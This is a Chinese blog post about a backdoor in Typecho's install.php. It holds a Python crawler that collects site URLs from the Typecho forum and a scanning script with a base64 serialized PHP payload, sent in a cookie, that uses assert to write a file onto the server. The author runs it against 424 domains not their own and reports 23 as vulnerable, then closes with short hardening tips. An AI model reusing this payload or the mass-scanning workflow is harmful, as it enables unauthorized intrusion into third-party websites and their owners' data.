大杀器呀呀呀~
前前前盐 昨晚上看他们在群里发typecho的install有反序列化漏洞,想到自己有个小站就是typecho的,当时她们霸占我的电脑,就用她们的电脑去复现那个漏洞,我明确记得我的确没有删除install.php
文件,而且因为备案问题它已经停了两个月了,讲道理嘛,他是有漏洞的,却没有复现成功,于是傻不兮兮的将网址发群里请大表来帮忙测试一番,等9点多时我打算登录后台看看日志查找失败的原因,结果却发现了有趣的东西,存在后门 。。。由于时间不对,很明显不是自己的杰作,又去翻了下日志果然。。。。 今天早上无聊去网上找了下发现之前那篇文章少说了一个重点,现在补充条件:
2014年至2017-10-13之间下载的存在该后门
后门在install.php文件中,所以此文件要存在
利用时使用get请求,参数为finish=2333
referer需要指向本站
cookies里面写上exp
收集网站 首先想到的是在typecho官方站的论坛里面找,因为它有一个秀站板块,很多人搭建好以后会在那里发链接,分析论坛页面发现是js的为了方便就直接全部跑了一遍:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import refrom requests import *regr = r'(?<=<a class="postlink" href=")http(s)?:\/\/(www\.)?[a-zA-Z0-9]{1,30}\.[a-zA-Z0-9]{1,30}(\.[a-zA-Z0-9]{1,30})?' reg = re.compile(regr) f = open("ip" ,'a' ) def pageCB (start,end) : for i in range(start,end,1 ): url = "http://forum.typecho.org/viewtopic.php?f=19&t=%d" %i try : l = request("GET" ,url) if l.status_code == 404 : continue content = l.text for i in reg.finditer(content): url = i.group() print url f.write(url+"\r\n" ) break except : print "Eerr0r!" pageCB(0 ,10460 )
本来还想继续写爬虫去顺着友链爬,后来少宇大表教我了新姿势: 另外,为了真加娱乐性,还可以这样玩(黑吃黑?):
扫描漏洞 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from requests import *""" <?php ##来源psec.net class Typecho_Feed{ private $_type = 'ATOM 1.0'; private $_charset = 'UTF-8'; private $_lang = 'zh'; private $_items = array(); public function addItem(array $item){ $this->_items[] = $item; } } class Typecho_Request{ private $_params = array('screenName'=>'file_put_contents(\'beta.php\', \'<?php echo "beta";?>\')'); private $_filter = array('assert'); } $payload1 = new Typecho_Feed(); $payload2 = new Typecho_Request(); $payload1->addItem(array('author' => $payload2)); $exp = array('adapter' => $payload1, 'prefix' => 'typecho'); echo base64_encode(serialize($exp)); """ exp = "YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEu" exp += "MCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMD" exp += "oiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5" exp += "cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTM6ImZpbGVfcHV0X2NvbnRlbnRzKCdiZXRhLnBocCcsICc8P3BocCBlY" exp += "2hvICJiZXRhIjs/PicpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6 exp += " InByZWZpeCI7czo3OiJ0eXBlY2hvIjt9" cookies = {" __typecho_config":exp} def exp(url): url2 = url+"/install.php?finish=2" headers = { "referer" : url + "/index.php" } reponse = request("GET" ,url = url2,headers = headers,cookies = cookies,timeout=3 ) if reponse.status_code == 500 : with open("vul" ,"a" ) as f: f.write(url+"\r\n" ); print "find vul: %s" %(url) else : print "maybe not vul: %s" %(url) ''' with open("ip",'r') as f: lines = set(f.readlines()) with open("newIp",'w') as n: for i in lines: n.write(i) ''' with open("ip.txt" ,'r' ) as n: for i in n.readlines(): try : exp(i.strip()) except : print "Err0r!" ''' while True: url = raw_input("url:") url = url.strip() try: exp(url) except: print "Error!" '''
桀桀桀局 如上,发现typecho的用户还是挺多的,而有漏洞的typecho站点占的比例也很大,下面带ctf
关键字是手工使用谷歌搜索的,结果发现在10多个站中只有一个站存在漏洞,这充分说明…..打ctf比较安全: 写到这里,情不自禁?决定跑一波看看这个比例到底多大,于是选了400多个域名来测试(不准确,含ctf的网站也不一定就是安全学习或从业人员的站): 最后一句代码写错了,意识到脚本语言的缺陷了,只能手动找,发现共测试424
个域名,有漏洞的有23
个,占比5.4%
最后,郑重声明老王没有做坏事,下面的都是别人讲的,我只是听听并做总结 (认真脸!)
大部分站点都是虚拟主机所以不能执行绝大多数命令,只能拿到很低的权限,所以vps用户也有好处呀
部署完网站一定要记得清理安装文件,本来用不上倒转成了累赘
阿里云默认就是root权限所在在搭建web应用时一定要记得降权,另外阿里云有报警,所以拿shell要小心呐
web目录权限也要配好,什么写权限的能不给就不给,而且要弄个chroot,被入侵了数据库应该也被下了,所以记得检查数据库
hexo安全性天下第一!!!!
想到再写吧,这个就告一段落,玩物丧志。。。。。